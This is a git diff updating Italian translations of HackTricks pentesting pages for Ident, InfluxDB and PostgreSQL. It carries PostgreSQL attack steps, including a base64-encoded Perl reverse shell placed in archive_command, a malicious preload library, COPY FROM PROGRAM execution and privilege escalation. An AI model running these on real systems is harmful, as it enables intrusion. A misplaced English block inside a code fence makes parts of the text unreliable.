-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
-Impara l'hacking su AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking su AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md
index f0993b0e4..fccb09e4b 100644
--- a/network-services-pentesting/113-pentesting-ident.md
+++ b/network-services-pentesting/113-pentesting-ident.md
@@ -10,22 +10,22 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Informazioni di Base
-Il **Protocollo Ident** viene utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione della rete** e nella **sicurezza**, opera consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
+Il **Protocollo Ident** viene utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione di rete** e **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
-Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché può rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
+Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché potrebbe rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
**Porta predefinita:** 113
```
@@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
-[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema di destinazione. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`.
+[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema target. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@@ -87,10 +87,10 @@ identd.conf
-Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati** al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Comandi Automatici di HackTricks
```
@@ -119,7 +119,7 @@ Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md
index ed0d4c604..eff4c6d7e 100644
--- a/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/network-services-pentesting/8086-pentesting-influxdb.md
@@ -3,18 +3,18 @@
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
-Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking su AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@@ -24,7 +24,7 @@ Altri modi per supportare HackTricks:
## Informazioni di base
-**InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati time series, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset time series. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici del database specializzati migliorano anche le prestazioni delle query.
+**InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici del database specializzati migliorano anche le prestazioni delle query.
**Porta predefinita**: 8086
```
@@ -55,7 +55,7 @@ Le informazioni di questo esempio sono state prese da [**qui**](https://oznetner
#### Mostra database
-I database trovati sono `telegraf` e `internal` (troverai questo ovunque)
+I database trovati sono `telegraf` e `internal` (questo lo troverai ovunque)
```bash
> show databases
name: databases
@@ -116,7 +116,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
-Durante alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere racchiuso tra doppi apici come: `select * from "cpu"`
+Durante alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere tra virgolette doppie come: `select * from "cpu"`
{% endhint %}
### Autenticazione automatizzata
@@ -129,7 +129,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@@ -140,7 +140,7 @@ Altri modi per supportare HackTricks:
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti comunitari **più avanzati** al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md
index 7a8d092bf..e1b41ccaf 100644
--- a/network-services-pentesting/pentesting-postgresql.md
+++ b/network-services-pentesting/pentesting-postgresql.md
@@ -3,10 +3,10 @@
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
@@ -14,10 +14,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Scansione delle porte**
-Secondo [**questa ricerca**](https://www.exploit-db.com/papers/13084), quando un tentativo di connessione fallisce, `dblink` genera un'eccezione `sqlclient_unable_to_establish_sqlconnection` che include una spiegazione dell'errore. Di seguito sono elencati alcuni esempi di questi dettagli.
+Secondo [**questa ricerca**](https://www.exploit-db.com/papers/13084), quando un tentativo di connessione fallisce, `dblink` genera un'eccezione `sqlclient_unable_to_establish_sqlconnection` che include una spiegazione dell'errore. Di seguito sono elencati esempi di questi dettagli.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@@ -99,11 +99,11 @@ password=secret
dbname=abc
connect_timeout=10');
```
-* **Host non disponibile**
+* Host non disponibile
```DETAIL: impossibile connettersi al server: Nessuna route per l'host Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?```
-* **Porta chiusa**
+* Porta chiusa
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
@@ -118,27 +118,23 @@ the server terminated abnormally before or while processing the request
#### Enumeration
-During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system:
+During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system.
-```bash
-nmap -sV -p 5432
-```
+#### Default Credentials
+
+Always try default credentials like `postgres:postgres` when attempting to log in to the PostgreSQL database.
#### Brute Forcing
-You can use tools like `Hydra` to perform brute force attacks against PostgreSQL servers:
-
-```bash
-hydra -L users.txt -P passwords.txt postgres://
-```
+You can use tools like `Hydra` or `Metasploit` to perform brute force attacks against the PostgreSQL database.
#### Exploitation
-One common exploitation technique is to exploit weak credentials to gain unauthorized access to the PostgreSQL database.
+Look for known vulnerabilities in the PostgreSQL version running on the target system. Exploit frameworks like `Metasploit` can be helpful in this phase.
#### Post-Exploitation
-After gaining access to the database, you can perform various post-exploitation activities such as exfiltrating sensitive data or creating backdoors for future access.
+After gaining access to the PostgreSQL database, you can extract sensitive information, escalate privileges, or even drop a shell for further access.
```
```
DETAIL: FATAL: password authentication failed for user "name"
@@ -148,7 +144,7 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
-Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle eccezioni. Tuttavia, se si ha accesso diretto al server PostgreSQL, è possibile recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, si potrebbe considerare l'utilizzo del metodo di attacco con lista di parole discusso nella sezione precedente, poiché potrebbe potenzialmente produrre risultati positivi.
+In PL/pgSQL functions, it is currently not possible to obtain exception details. However, if you have direct access to the PostgreSQL server, you can retrieve the necessary information. If extracting usernames and passwords from the system tables is not feasible, you may consider utilizing the wordlist attack method discussed in the preceding section, as it could potentially yield positive results.
## Enumerazione dei Privilegi
@@ -165,8 +161,8 @@ Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle
| rolconnlimit | Per i ruoli che possono effettuare il login, imposta il numero massimo di connessioni simultanee che questo ruolo può effettuare. -1 significa nessun limite. |
| rolpassword | Non la password (viene sempre visualizzata come `********`) |
| rolvaliduntil | Ora di scadenza della password (utilizzata solo per l'autenticazione tramite password); nullo se non scade |
-| rolbypassrls | Il ruolo ignora ogni criterio di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
-| rolconfig | Impostazioni predefinite del ruolo per le variabili di configurazione in esecuzione |
+| rolbypassrls | Il ruolo ignora ogni criterio di sicurezza a livello di riga, vedi [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. |
+| rolconfig | Impostazioni predefinite del ruolo per le variabili di configurazione in esecuzione |
| oid | ID del ruolo |
#### Gruppi Interessanti
@@ -176,7 +172,7 @@ Nelle funzioni PL/pgSQL, attualmente non è possibile ottenere i dettagli delle
* Se sei membro di **`pg_write_server_files`** puoi **scrivere** file
{% hint style="info" %}
-Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa cosa**. Dipende solo da **come lo si utilizza** e se si **permette il login**.
+Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa cosa**. Dipende solo da **come lo usi** e se **permetti il login**.
{% endhint %}
```sql
# Get users roles
@@ -255,7 +251,7 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
-## Azioni del file system
+## Azioni sul file system
### Leggere directory e file
@@ -318,7 +314,7 @@ GRANT pg_write_server_files TO username;
[**Maggiori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
-Ricorda che COPY non può gestire i caratteri di nuova riga, quindi anche se stai utilizzando un payload base64 **devi inviare un comando su una sola riga**.\
+Ricorda che COPY non può gestire i caratteri di nuova riga, quindi anche se stai utilizzando un payload base64 **devi inviare un comando su una riga sola**.\
Una limitazione molto importante di questa tecnica è che **`copy` non può essere utilizzato per scrivere file binari in quanto modifica alcuni valori binari.**
### **Caricamento di file binari**
@@ -387,7 +383,7 @@ WHERE pg_class.relname = '{NOME_TABELLA}';
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATI_TIPO_CSV_DA_PASSO_4} -m update -p 0 -i ITEM_ID --csv-data {DATI_CSV}
```
-![Demo PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
+![Demo del PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
6. Carica nuovamente il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco
```sql
@@ -433,7 +429,7 @@ GRANT pg_execute_server_program TO username;
{% endhint %}
Oppure utilizzare il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` da **metasploit**.\
-Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Mentre segnalato come CVE-2019-9193, Postges ha dichiarato che si tratta di una [funzionalità e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
+Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene segnalato come CVE-2019-9193, Postges ha dichiarato che si tratta di una [funzionalità e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE con Linguaggi PostgreSQL
@@ -441,7 +437,7 @@ Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/gre
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
-### RCE con estensioni PostgreSQL
+### RCE con Estensioni PostgreSQL
Una volta che hai **imparato** dal post precedente **come caricare file binari**, potresti provare a ottenere **RCE caricando un'estensione postgresql e caricandola**.
@@ -481,7 +477,7 @@ Quindi, un attaccante dovrà:
2. `ssl_passphrase_command_supports_reload = on`
6. Eseguire `pg_reload_conf()`
-Durante i test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (così l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_.
+Durante i test ho notato che ciò funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (così l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_.
#### **RCE con archive\_command**
@@ -496,7 +492,7 @@ I passaggi generali sono:
1. Verificare se la modalità di archiviazione è abilitata: `SELECT current_setting('archive_mode')`
2. Sovrascrivere `archive_command` con il payload. Ad esempio, una reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Ricaricare la configurazione: `SELECT pg_reload_conf()`
-4. Forzare l'operazione WAL a eseguire, che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres
+4. Forzare l'operazione WAL per eseguire, che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres
#### **RCE con librerie di caricamento anticipato**
@@ -515,7 +511,7 @@ I passaggi dell'attacco sono:
2. Includere la directory `/tmp/` nel valore di `dynamic_library_path`, ad esempio `dynamic_library_path = '/tmp:$libdir'`
3. Includere il nome della libreria dannosa nel valore di `session_preload_libraries`, ad esempio `session_preload_libraries = 'payload.so'`
4. Verificare la versione principale di PostgreSQL tramite la query `SELECT version()`
-5. Compilare il codice della libreria dannosa con il pacchetto dev corretto di PostgreSQL Codice di esempio:
+5. Compilare il codice della libreria dannosa con il pacchetto dev corretto di PostgreSQL Esempio di codice:
```c
#include
@@ -567,13 +563,13 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
9. Alla successiva connessione al DB, riceverai la connessione della shell inversa.
## **Postgres Privesc**
-### Privesc CREATEROLE
+### CREATEROLE Privesc
#### **Concessione**
-Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._
+Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superuser**._
-Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superutenti) che possono darti l'opzione di leggere e scrivere file ed eseguire comandi:
+Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superuser) che possono darti l'opzione di leggere e scrivere file ed eseguire comandi:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@@ -627,7 +623,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
2. Inserisci del contenuto non rilevante nella tabella per fornire dati alla funzione di indice.
3. Sviluppa una funzione di indice dannosa che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati.
4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database.
-5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo così l'esecuzione del comando shell precedentemente non autorizzato.
+5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo l'esecuzione del comando shell precedentemente non autorizzato.
In PostgreSQL, questo flusso appare più o meno così:
```sql
@@ -689,7 +685,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Funzione definita dall'utente con** SECURITY DEFINER
-[Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, perché **hanno trovato questa funzione con il flag SECURITY DEFINER**:
+[Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@@ -712,7 +708,7 @@ PERFORM dblink_disconnect();
Come [**spiegato nella documentazione**](https://www.postgresql.org/docs/current/sql-createfunction.html) una funzione con **SECURITY DEFINER viene eseguita** con i privilegi dell'**utente che la possiede**. Pertanto, se la funzione è **vulnerabile all'Injection SQL** o sta eseguendo **azioni privilegiate con parametri controllati dall'attaccante**, potrebbe essere sfruttata per **escalare i privilegi all'interno di postgres**.
-Nella riga 4 del codice precedente puoi vedere che la funzione ha il flag **SECURITY DEFINER**.
+Nella riga 4 del codice precedente è possibile vedere che la funzione ha il flag **SECURITY DEFINER**.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@@ -722,7 +718,7 @@ E poi **eseguire comandi**:
-### Forzare la password con PL/pgSQL
+### Forzare l'accesso con PL/pgSQL
**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, le **istruzioni SQL** e i **trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e all'automazione del database.\
**È possibile abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti.**
@@ -734,7 +730,7 @@ E poi **eseguire comandi**:
### Privesc sovrascrivendo le tabelle interne di PostgreSQL
{% hint style="info" %}
